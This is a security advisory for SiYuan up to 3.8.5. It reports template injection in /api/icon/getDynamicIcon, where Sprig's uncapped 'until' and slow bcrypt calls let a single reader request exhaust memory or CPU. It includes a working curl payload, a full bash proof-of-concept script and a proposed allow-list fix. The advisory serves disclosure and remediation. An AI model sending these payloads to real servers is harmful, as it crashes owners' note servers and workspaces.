Skip to content

SiYuan: one reader request to /api/icon/getDynamicIcon OOM-kills the kernel via the unrestricted Sprig template function map (residual of CVE-2026-54068)

Moderate
88250 published GHSA-cxwr-r7cq-xw52 Sep 24, 2026

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

<= 3.8.5

Patched versions

v3.8.6

Description

Summary

/api/icon/getDynamicIcon parses its content query parameter as a Go
text/template whose function map is sprig.TxtFuncMap() with three entries
deleted. Sprig's until(n) is an append loop with no cap, so one request
allocates whatever integer the caller chooses.

Measured: one GET from an ordinary publish reader account took the container
from 116 MiB to 3.7 GiB. With the container capped at 700 MB, a size that is
unremarkable for a self-hosted note server, a single request produced
OOMKilled=true exit=137. The process that dies is the kernel, so the
owner's own workspace goes down with the published site.

This is what is left of GHSA-gcm7-57gf-953c (CVE-2026-54068) on this endpoint.
That report was template injection here reaching querySQL, and the fix
removed sql.SQLTemplateFuncs from the icon template. The template itself, and
the rest of the function map, stayed.

I am not reporting remote code execution. I checked for it and did not find
it; see below.

Details

kernel/api/router.go:51 registers the route with one middleware:

ginServer.Handle("GET", "/api/icon/getDynamicIcon", model.CheckAuth, getDynamicIcon)

refreshPublishJWT in kernel/model/auth.go mints every publish-service
account's token with ClaimsKeyRole: RoleReader, and the publish reverse proxy
stamps that token onto each request, so CheckAuth alone means "any publish
reader", and "anyone at all" when Publish.Auth.Enable is false.

kernel/api/icon.go, generateTypeEightSVG, renders content as a template
whenever it contains the delimiter:

if strings.Contains(content, ".action{") {
    content = model.RenderDynamicIconContentTemplate(content, id)
}

kernel/model/template.go:

func dynamicIconTemplateFuncs() template.FuncMap {
	return filesys.BuiltInTemplateFuncs()
}

kernel/filesys/template.go:35:

func BuiltInTemplateFuncs() (ret template.FuncMap) {
	ret = sprig.TxtFuncMap()

	// 因为安全原因移除一些函数 https://github.com/siyuan-note/siyuan/issues/13426
	delete(ret, "env")
	delete(ret, "expandenv")
	delete(ret, "getHostByName")
	...

That deny-list is written for the template feature, where the template author
is the workspace owner. Here the author is a publish reader, or an anonymous
visitor, and the three deletions are the only thing between them and the rest
of Sprig.

until in sprig v3.3.0, numeric.go:67:

func until(count int) []int {
	step := 1
	if count < 0 {
		step = -1
	}
	return untilStep(0, count, step)
}

func untilStep(start, stop, step int) []int {
	v := []int{}
	...
	for i := start; i < stop; i += step {
		v = append(v, i)
	}

No cap, no context, no cancellation check. repeat n s does the same to a
string. bcrypt and htpasswd are deliberately slow KDFs, roughly 53 ms a
call on this box, and range until 200 wrapped around one cost 10.7 s of CPU
inside a single request; until 2000 makes that about 107 s.

What this is not

I looked for a file read, an SSRF and command execution before reporting this
as availability only, and did not find any:

  • env, expandenv and getHostByName are genuinely removed. I confirmed all
    three return empty against a live 3.8.4.
  • readFile, tpl, include and lookup are Helm additions and are not
    present in sprig v3.3.0's TxtFuncMap.
  • The data model passed to the template is a map[string]string, so there are
    no methods on it to pivot through.

So the reachable abuse is resource allocation. The output is also
HTML-escaped and served with Content-Security-Policy: script-src 'none' and
X-Content-Type-Options: nosniff, so I am not claiming XSS either.

PoC

poc_template_dos.sh, reproduced at the end of this report. It pulls
b3log/siyuan:v3.8.4, boots a fresh workspace, and starts the publish service
on its default configuration: Publish.Auth.Enable is true with one reader
account, whose own credentials are used throughout. Section 3 measures the
curve with no memory limit; section 4 applies a 700 MB limit and kills the
kernel with one request. Needs docker, curl and python3.

Output from a cold start, verbatim:

### 0. boot SiYuan 3.8.4 from the official image, NO memory limit
    kernel 3.8.4
### 1. one ordinary published document, and the publish service on its DEFAULT config
    published doc 20260922114446-ru3585s
    with no credentials:  http=401  (publish auth works)
    everything below uses the reader account's own credentials
### 2. what the reader can call in that template
    uuidv4                         b8ed5705-d5e6-4966-bb9d-a3aad7ee0301
    b64enc "x"                     eA==
    bcrypt "x"  (slow KDF)         $2a$10$pqilW9Q6QxVqtfuG40TDC.sjtLYNHp/MNlAC97m1PF8JbckMqR6gS
    htpasswd "u" "p"               u:$2a$10$lsdmdQKXdmtiGKPkX4pCXO8HXp4MEBYrjtSakIlwcw61vH2HvI9Eu
    derivePassword                 Rude2$QafoJela
    the three that were deleted for safety, confirmed still deleted:
    env "HOME"                     ''
    expandenv "$HOME"              ''
    getHostByName "example.com"    ''
### 3. the allocation curve, one GET each, no memory limit on the container
    baseline           115.8MiB / 46.85GiB
    until 10000000     http=200    173ms  306.8MiB / 46.85GiB
    until 50000000     http=200   1170ms  1.422GiB / 46.85GiB
    until 150000000    http=200   1751ms  3.722GiB / 46.85GiB
    linear in the integer the caller chose, and nothing caps it
### 4. now cap the container at 700 MB and send one request
    until 400000000  http=000   (000 = the connection died)
    container: exited OOMKilled=true exit=137
    the published site:  http=000
    the owner kernel:    http=000
    the process that died is the kernel, so the owner's workspace went with it

Section 1 shows an unauthenticated request getting a clean 401, so nothing here
depends on publish authentication being weakened. Section 2 is there so the
deny-list is not something you have to take on trust: the three deletions work,
and everything beside them does too.

A single request, without the script:

curl -u reader:pass -G 'http://<published-site>/api/icon/getDynamicIcon' \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=.action{len (until 400000000)}' \
  --data-urlencode 'id=<any-published-document-id>'

The id has to be a document the reader may already see, since the template
only renders once the tree loads. A published site has at least one by
definition.

Impact

A publish reader ends the kernel process with one request, and anyone at all
when publish authentication is off. There is no precondition beyond the publish
service being reachable, which is the entire purpose of the publish service.

Recovery needs a restart. On a Docker deployment with a restart policy that is
a few seconds of downtime per request, which is still a trivially sustainable
outage. On a desktop install the process that dies is the one holding the
owner's workspace, so the owner loses their editor, not just their published
site.

The CPU variant is quieter and harder to notice: range until 2000 around
bcrypt costs roughly 107 s of server CPU for one request that looks like a
request for an icon.

Fix

Make dynamicIconTemplateFuncs() an allow-list rather than
BuiltInTemplateFuncs() minus three. The icon templates need string and date
formatting; they do not need until, repeat, bcrypt, htpasswd,
genPrivateKey or derivePassword:

func dynamicIconTemplateFuncs() template.FuncMap {
	all := filesys.BuiltInTemplateFuncs()
	ret := template.FuncMap{}
	for _, name := range []string{"printf", "upper", "lower", "title", "trim",
		"date", "dateInZone", "Weekday", "WeekdayCN", "ISOWeek", "ISOYear",
		"FormatFloat", "add", "sub", "mul", "div"} {
		if fn, ok := all[name]; ok {
			ret[name] = fn
		}
	}
	return ret
}

An allow-list is what makes this the last report of its kind on this endpoint.
The deny-list has been extended once already, for #13426, and adding until
and bcrypt to it leaves whatever Sprig adds next.

Two cheap belts alongside it: a length cap on content before it is parsed,
and template.Template.Execute against an io.Writer that stops after a fixed
number of bytes, so a large render is truncated rather than buffered. The
current code does buf.Grow(4096) and then lets the buffer grow without limit.

Versions

3.8.4, the current release. master is the same commit (9f775e8a) with no
commits after it at the time of writing, and neither kernel/api/icon.go,
kernel/model/template.go, kernel/filesys/template.go nor
kernel/api/router.go has changed since the release. The dependency is
github.com/Masterminds/sprig/v3 v3.3.0, from kernel/go.mod.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H   6.5 Medium

CWE-770, Allocation of Resources Without Limits or Throttling.

PR:L for the default configuration, which needs a publish reader account.
With Publish.Auth.Enable false, PR:N applies and the score is 7.5 High.
A:H because one request ends the process, and I have no argument for
anything lower there.

Credit

Dikshant Chandel (kewmine), Clickswave Labs Pvt Ltd.

Found during authorization research for Crossfyre (https://crossfyre.io), by
checking what was left of the CVE-2026-54068 fix rather than assuming the
handler was done.

Happy to be credited as:

Dikshant Chandel (Clickswave Labs Pvt Ltd)

The script

Save as poc_template_dos.sh, chmod +x, run. It cleans up after itself, including on
failure.

#!/usr/bin/env bash
# SiYuan 3.8.4: /api/icon/getDynamicIcon parses its `content` query parameter
# as a Go text/template whose function map is sprig.TxtFuncMap() with three
# entries deleted. sprig's until(n) is an uncapped append loop, so one request
# allocates whatever the caller asks for and OOM-kills the kernel.
#
# Runs against the DEFAULT publish configuration: Publish.Auth.Enable is true
# with one reader account, using that account's own credentials. Section 3
# measures the allocation curve with no memory limit; section 4 applies a
# 700 MB limit, an ordinary size for a self-hosted note server, and kills it
# with a single request.
#
#   ./poc_template_dos.sh      # needs docker, curl, python3
set -u
C=sy-poc-dos; KP=12826; PP=12828; AC='Poc-Access-2026'
RU=reader; RP='Reader-Pass-99'
W=$(mktemp -d); mkdir -p "$W/workspace"
K="http://127.0.0.1:$KP"; P="http://127.0.0.1:$PP"; JAR="$W/cookies"
adm(){ curl -s -m 25 -b "$JAR" -c "$JAR" -X POST "$K$1" -H 'Content-Type: application/json' -d "$2"; }
icon(){ curl -s -m 30 -u "$RU:$RP" -G "$P/api/icon/getDynamicIcon" --data-urlencode "type=8" \
        --data-urlencode "content=$2" --data-urlencode "id=$1" \
        | grep -o '>[^<>]*</text>' | sed 's/^>//; s|</text>||'; }
mem(){ docker stats --no-stream --format '{{.MemUsage}}' $C 2>/dev/null; }
jq1(){ python3 -c "import json,sys; print(json.load(sys.stdin)$1)"; }
trap 'docker rm -f $C >/dev/null 2>&1; rm -rf "$W"' EXIT

echo "### 0. boot SiYuan 3.8.4 from the official image, NO memory limit"
docker rm -f $C >/dev/null 2>&1
docker run -d --name $C -p 127.0.0.1:$KP:6806 -p 127.0.0.1:$PP:6808 \
  -v "$W/workspace":/siyuan/workspace -e PUID="$(id -u)" -e PGID="$(id -g)" \
  b3log/siyuan:v3.8.4 serve --workspace=/siyuan/workspace/ \
  --accessAuthCode="$AC" --port=6806 >/dev/null
up=0; for i in $(seq 1 90); do curl -s -m 3 -X POST $K/api/system/version | grep -q 3.8.4 && { up=1; break; }; sleep 2; done
[ $up = 1 ] || { echo "    kernel never came up:"; docker logs $C 2>&1 | tail -20; exit 1; }
echo "    kernel $(curl -s -X POST $K/api/system/version | jq1 "['data']")"

echo "### 1. one ordinary published document, and the publish service on its DEFAULT config"
adm /api/system/loginAuth "{\"authCode\":\"$AC\"}" >/dev/null
NB=$(adm /api/notebook/createNotebook '{"name":"Lab"}' | jq1 "['data']['notebook']['id']")
D=$(adm /api/filetree/createDocWithMd "{\"notebook\":\"$NB\",\"path\":\"/Public notes\",\"markdown\":\"nothing secret\"}" | jq1 "['data']")
adm /api/setting/setPublish \
  "{\"enable\":true,\"port\":6808,\"auth\":{\"enable\":true,\"accounts\":[{\"username\":\"$RU\",\"password\":\"$RP\",\"memo\":\"\"}]}}" >/dev/null
up=0; for i in $(seq 1 40); do curl -s -m 3 -o /dev/null "$P/" && { up=1; break; }; sleep 2; done
[ $up = 1 ] || { echo "    publish service never came up"; exit 1; }
sleep 2
echo "    published doc $D"
curl -s -m 8 -o /dev/null -w '    with no credentials:  http=%{http_code}  (publish auth works)\n' \
  "$P/api/icon/getDynamicIcon?type=8&content=x&id=$D"
echo "    everything below uses the reader account's own credentials"

echo "### 2. what the reader can call in that template"
printf '    %-30s %s\n' 'uuidv4'               "$(icon "$D" '.action{uuidv4}')"
printf '    %-30s %s\n' 'b64enc "x"'           "$(icon "$D" '.action{b64enc "x"}')"
printf '    %-30s %s\n' 'bcrypt "x"  (slow KDF)' "$(icon "$D" '.action{bcrypt "x"}')"
printf '    %-30s %s\n' 'htpasswd "u" "p"'     "$(icon "$D" '.action{htpasswd "u" "p"}')"
printf '    %-30s %s\n' 'derivePassword'       "$(icon "$D" '.action{derivePassword 1 "long" "p" "u" "s"}')"
echo "    the three that were deleted for safety, confirmed still deleted:"
for f in 'env "HOME"' 'expandenv "$HOME"' 'getHostByName "example.com"'; do
  printf "    %-30s '%s'\n" "$f" "$(icon "$D" ".action{$f}")"
done

echo "### 3. the allocation curve, one GET each, no memory limit on the container"
printf '    %-18s %s\n' baseline "$(mem)"
for n in 10000000 50000000 150000000; do
  s=$(date +%s%N)
  c=$(curl -s -m 120 -u "$RU:$RP" -o /dev/null -w '%{http_code}' -G "$P/api/icon/getDynamicIcon" \
    --data-urlencode "type=8" --data-urlencode "content=.action{len (until $n)}" --data-urlencode "id=$D")
  e=$(date +%s%N)
  printf '    until %-12s http=%s %6sms  %s\n' "$n" "$c" "$(( (e-s)/1000000 ))" "$(mem)"
done
echo "    linear in the integer the caller chose, and nothing caps it"

echo "### 4. now cap the container at 700 MB and send one request"
docker update --memory 700m --memory-swap 700m $C >/dev/null 2>&1
sleep 2
curl -s -m 120 -u "$RU:$RP" -o /dev/null -w '    until 400000000  http=%{http_code}   (000 = the connection died)\n' \
  -G "$P/api/icon/getDynamicIcon" --data-urlencode "type=8" \
  --data-urlencode "content=.action{len (until 400000000)}" --data-urlencode "id=$D"
sleep 4
echo "    container: $(docker inspect -f '{{.State.Status}} OOMKilled={{.State.OOMKilled}} exit={{.State.ExitCode}}' $C)"
curl -s -m 8 -o /dev/null -w '    the published site:  http=%{http_code}\n' -X POST $P/api/system/version
curl -s -m 8 -o /dev/null -w '    the owner kernel:    http=%{http_code}\n' -X POST $K/api/system/version
echo "    the process that died is the kernel, so the owner's workspace went with it"
echo "    (lab torn down)"

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CVE ID

No known CVE

Weaknesses

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

Inefficient Regular Expression Complexity

The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles. Learn more on MITRE.

Credits